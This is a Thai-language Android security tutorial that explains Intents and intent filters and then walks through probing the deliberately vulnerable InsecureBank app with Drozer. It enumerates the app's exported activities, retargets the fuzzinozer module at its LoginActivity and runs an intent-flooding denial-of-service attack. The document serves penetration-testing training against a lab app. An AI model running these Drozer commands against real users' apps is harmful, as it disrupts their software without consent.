บทนำ (Overview)
บทความนี้จะกล่าวถึง “Intent” ของ “Android” ซึ่งการใช้งาน “Intent” ไม่ถูกต้องอาจส่งผลเช่นข้อมูลรั่วไหล หรือ เข้าถึงฟังก์ชันที่ต้องพิสูจน์ตัวตนก่อนได้ หรือ สามารถถูกโจมตีได้โดยวิธีการ “DOS” จากโปรแกรมประสงค์ร้ายที่ถูกติดตั้งบนเครื่อง โดยปกติแล้วส่วนประกอบ “Android” หรือ “Android Component” ที่สามารถให้โปรแกรมอื่น ๆ สามารถเรียกใช้งานเพื่อติดต่อสื่อระหว่างกันนั้นประกอบไปด้วย “Activity” “Service” “Content Provider” และ “Broadcast Receiver” (สามารถติดตามเพิ่มเติมได้ที่บทความ How to test the Security Decisions Via Untrusted Inputs – Android)
ในการเรียกใช้งาน “Android Component” เราจะต้องเรียกใช้งานผ่าน “Intent” เช่น เรียกใช้งานกับฟังก์ชันก์ “startActivity” เพื่อเปิดหน้าของ “Activity” ที่ต้องการ หรือใช้เป็น “BroadcaseIntent” เพื่อส่งข้อมูลต่าง ๆ ไปยัง “BroadcastReceiver” ที่มีอยู่ หรือแม้กระทั้งเรียกใช้งาน “services” ขึ้นมาก็ได้ หรือเชื่อมต่อ “service” เพื่อติดต่อสื่อสารกันในส่วนของ “Background service”
กล่าวโดยสรุปโดยพื้นฐานของ “Intent” สามารถที่จะ
- เปิดใช้งาน “Activity” โดยปกติคือการเปิดหน้าจอโปรแกรม (UI) ที่ต้องการขึ้นมา (ในบทความนี้จะใช้วิธีการโจมตีแบบนี้)
- ใช้งาน “Broadcasts” เพื่อแจ้งให้ “system” หรือ “app.” รับทราบ
- เปิดปิด หรือส่งข้อมูลในส่วนของ “background service”
- เข้าถึงข้อมูลผ่าน “ContentProviders”
ประเภทของ Intent เราก็สามารถแบ่งออกได้เป็น “Explicit” และ “Implicit intent” ดังนี้
- “Explicit Intent” สามารถเรียกใช้เฉพาะภายใน “Application”
//สร้าง Explicit Intent Intent i = new Intent(FirstActivity.this, SecondActivity.class); //เรียก SecondActivity startActivity(i);
- “Implicit intent” สามารถเรียกใช้งานระหว่าง “Application” ได้
Intent r=new Intent(); r.setAction(android.content.Intent.ACTION_VIEW); r.setData(ContactsContract.Contacts.CONTENT_URI); startActivity(r);
ในส่วนของ “Intent filler” จะต้องถูกประกาศใช้งานใน “AndroidManifest.xml” เพื่อบอกว่า “Android component” ต่าง ๆ นั้นสามารถทำอะไรได้บ้าง โดยมีส่วนประกอบต่างสำคัญคือ “action” “data” และ “category” เช่น
Intent-filters |
Samples |
action |
<intent-filter> <action android:name="android.intent.action.EDIT" /> <action android:name="android.intent.action.VIEW" /> … </intent-filter></td> |
data (both URI and data type) |
<intent-filter> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> … </intent-filter> |
category |
<intent-filter> <data android:mimeType="video/mpeg" android:scheme="http" /> <data android:mimeType=”audio/mpeg” android:scheme="http" /> … </intent-filter> |
ขั้นตอน (Steps)
- ติดตั้งโปรแกรมช่องโหว่ “Insecure Bank” (ติดตามได้ที่บทความ How to install InsecureBank)
- ติดตั้งโปรแกรม “Appie” และ “Drozer” สามาถติดตามได้ที่บทความ (How to set Drozer)
- คำสั่งเรียกใช้งาน “Drozer”
C:\Users\wsunpachit\Desktop $ adb forward tcp:31415 tcp:31415 C:\Users\wsunpachit\Desktop $ drozer console connect
- ติดตั้ง “fuzzinozer” บน “Drozer” โดยใช้คำสั่ง
module install fuzzinozer
- เมื่อติดตั้งเสร็จจะมีโฟลเดอร์ “drozer” ปรากฏขึ้นมาที่หน้า “Desktop” ให้เข้าไปที่ไฟล์ “\Desktop\drozer\intents\fuzzinozer.py” เปิดไฟล์ขึ้นมาพักไว้ก่อน
- เราจะตรวจสอบกันว่าโปรแกรม “Insecure Bank” มีช่องโหว่ที่สามารถทำ “Intent injection” ได้หรือไม่ โดยตรวจสอบว่ามี “Export = True” หรือ “Intent-Filter” ที่สามารถเรียกใช้งานได้จากโปรแกรมอื่น ๆ โดยใช้คำสั่งดังนี้ตรวจสอบชื่อ “Package”
run app.package.list -f insecure
ตรวจสอบ “Exported”
run app.package.attacksurface com.android.insecurebankv2
ทดลองตรวจสอบ “Activity” ที่เปิด “Exported”
run app.activity.info -a com.android.insecurebankv2
- ที่นี้ถ้าเราอยากตรวจสอบ “Inter-filter” เองให้ไปดูที่ “AdroidManifest.xml”
run app.package.manifest com.android.insecurebankv2
- จากตัวอย่างทดลองเลือก “Intent-filter” ของ “com.android.insecurebankv2.LoginActivity” ให้เรากลับไปแก้ไข “source-code” ของไฟล์ที่เปิดไว้ตามข้อ “5” โดยให้ทำ Comment (#) หน้าฟังก์ชั้นเดิม และเพิ่มชื่อของ “package/.activity” ตาม “AndroidManifest.xml” ที่เราตรวจพบ
#pack_act = "com.android.bluetooth/.opp.BluetoothOppLauncherActivity" pack_act = "com.android.insecurebankv2/.LoginActivity"
- เมื่อเสร็จสิ้นให้ปิดและเปิด “Drozer” ใหม่อีกครั้งโปรแกรมจะ “Compile” ตัว “fuzzinozer.py” กับ “code” ที่เราเขียนใหม่ เมื่อเรียบร้อยแล้วให้เรียกใช้งานโดยใช้คำสั่ง
//ตัวเลขคือจำนวน Intent ที่เรียกใช้งาน Activity นั้น ๆ run intents.fuzzinozer --dos_attack 20
- จากการทดลองพบว่าโปรแกรมจะเปิดและปิดตัวเองตลอดเวลาจนกระทั่งสิ้นสุดจำนวนที่เรากำหนด